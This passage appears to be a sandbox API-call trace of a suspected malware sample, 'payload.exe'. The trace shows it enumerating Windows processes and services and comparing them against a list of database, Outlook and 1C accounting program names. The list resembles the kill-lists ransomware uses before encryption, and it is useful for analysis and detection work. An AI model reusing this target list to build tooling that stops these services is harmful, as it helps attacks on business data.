lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0098.546] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0098.546] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0098.546] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4166030 | out: hHeap=0x4f0000) returned 1 [0098.546] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a4 [0098.547] Process32FirstW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0098.547] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0098.548] lstrlenW (lpString="System") returned 6 [0098.548] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0098.548] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0098.548] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0098.548] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0098.548] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0098.548] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0098.548] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0098.548] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0098.548] lstrlenW (lpString="smss.exe") returned 8 [0098.548] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0098.548] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0098.548] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0098.548] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0098.548] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0098.548] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0098.548] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0098.548] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0098.548] lstrlenW (lpString="csrss.exe") returned 9 [0098.548] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0098.548] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0098.549] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0098.549] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0098.549] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0098.549] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0098.549] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0098.549] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0098.549] lstrlenW (lpString="wininit.exe") returned 11 [0098.549] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0098.549] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0098.549] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0098.549] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0098.549] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0098.549] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0098.549] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0098.549] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0098.549] lstrlenW (lpString="csrss.exe") returned 9 [0098.549] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0098.549] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0098.549] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0098.549] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0098.549] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0098.549] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0098.549] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0098.549] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0098.550] lstrlenW (lpString="winlogon.exe") returned 12 [0098.550] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0098.550] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0098.550] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0098.550] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0098.550] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0098.550] lstrlenW (lpString="services.exe") returned 12 [0098.550] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0098.550] lstrlenW (lpString="lsass.exe") returned 9 [0098.550] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0098.550] lstrlenW (lpString="lsm.exe") returned 7 [0098.550] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.551] lstrlenW (lpString="svchost.exe") returned 11 [0098.551] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.551] lstrlenW (lpString="svchost.exe") returned 11 [0098.551] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.551] lstrlenW (lpString="svchost.exe") returned 11 [0098.551] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.551] lstrlenW (lpString="svchost.exe") returned 11 [0098.551] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.552] lstrlenW (lpString="svchost.exe") returned 11 [0098.552] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0098.552] lstrlenW (lpString="audiodg.exe") returned 11 [0098.552] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.552] lstrlenW (lpString="svchost.exe") returned 11 [0098.552] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.552] lstrlenW (lpString="svchost.exe") returned 11 [0098.552] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0098.553] lstrlenW (lpString="userinit.exe") returned 12 [0098.553] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0098.553] lstrlenW (lpString="dwm.exe") returned 7 [0098.553] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0098.553] lstrlenW (lpString="explorer.exe") returned 12 [0098.553] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0098.553] lstrlenW (lpString="spoolsv.exe") returned 11 [0098.553] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0098.554] lstrlenW (lpString="taskhost.exe") returned 12 [0098.554] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.554] lstrlenW (lpString="svchost.exe") returned 11 [0098.554] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0098.554] lstrlenW (lpString="payload.exe") returned 11 [0098.554] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0098.554] lstrlenW (lpString="reader_sl.exe") returned 13 [0098.555] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0098.555] lstrlenW (lpString="taskhost.exe") returned 12 [0098.555] Process32NextW (in: hSnapshot=0x3a4, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0098.555] CloseHandle (hObject=0x3a4) returned 1 [0098.555] Sleep (dwMilliseconds=0x1f4) [0099.269] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab70f8 [0099.270] EnumServicesStatusExW (in: hSCManager=0x3ab70f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0099.270] GetLastError () returned 0xea [0099.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x113e) returned 0x4166030 [0099.270] EnumServicesStatusExW (in: hSCManager=0x3ab70f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4166030, cbBufSize=0x113e, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4166030, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0099.270] CloseServiceHandle (hSCObject=0x3ab70f8) returned 1 [0099.271] lstrlenW (lpString="Appinfo") returned 7 [0099.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0099.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0099.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0099.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0099.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0099.271] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0099.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0099.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0099.271] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0099.271] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0099.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0099.271] lstrlenW (lpString="AudioSrv") returned 8 [0099.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0099.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0099.271] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0099.271] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0099.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0099.271] lstrlenW (lpString="BFE") returned 3 [0099.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0099.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0099.271] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0099.271] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0099.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0099.271] lstrlenW (lpString="CryptSvc") returned 8 [0099.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0099.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0099.271] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0099.271] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0099.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0099.271] lstrlenW (lpString="CscService") returned 10 [0099.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0099.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0099.271] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0099.271] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0099.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0099.271] lstrlenW (lpString="DcomLaunch") returned 10 [0099.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0099.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0099.271] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0099.271] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0099.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0099.271] lstrlenW (lpString="Dhcp") returned 4 [0099.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0099.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0099.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0099.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0099.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0099.272] lstrlenW (lpString="Dnscache") returned 8 [0099.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0099.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0099.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0099.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0099.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0099.272] lstrlenW (lpString="DPS") returned 3 [0099.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0099.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0099.272] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0099.272] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0099.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0099.272] lstrlenW (lpString="eventlog") returned 8 [0099.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0099.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0099.272] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0099.272] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0099.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0099.272] lstrlenW (lpString="EventSystem") returned 11 [0099.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0099.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0099.272] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0099.272] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0099.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0099.272] lstrlenW (lpString="gpsvc") returned 5 [0099.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0099.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0099.272] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0099.272] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0099.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0099.272] lstrlenW (lpString="iphlpsvc") returned 8 [0099.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0099.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0099.272] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0099.272] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0099.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0099.272] lstrlenW (lpString="LanmanServer") returned 12 [0099.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0099.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0099.273] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0099.273] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0099.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0099.273] lstrlenW (lpString="LanmanWorkstation") returned 17 [0099.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0099.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0099.273] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0099.273] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0099.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0099.273] lstrlenW (lpString="lmhosts") returned 7 [0099.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0099.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0099.273] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0099.273] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0099.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0099.273] lstrlenW (lpString="MMCSS") returned 5 [0099.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0099.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0099.273] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0099.273] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0099.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0099.273] lstrlenW (lpString="MpsSvc") returned 6 [0099.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0099.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0099.273] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0099.273] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0099.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0099.273] lstrlenW (lpString="Netman") returned 6 [0099.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0099.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0099.273] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0099.273] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0099.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0099.273] lstrlenW (lpString="netprofm") returned 8 [0099.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0099.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0099.273] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0099.273] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0099.273] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0099.273] lstrlenW (lpString="NlaSvc") returned 6 [0099.273] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0099.273] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0099.274] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0099.274] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0099.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0099.274] lstrlenW (lpString="nsi") returned 3 [0099.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0099.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0099.274] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0099.274] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0099.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0099.274] lstrlenW (lpString="PcaSvc") returned 6 [0099.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0099.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0099.274] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0099.274] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0099.274] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0099.274] lstrlenW (lpString="PlugPlay") returned 8 [0099.274] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0099.274] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0099.274] lstrcmpiW (lpString1="sqlwriter", 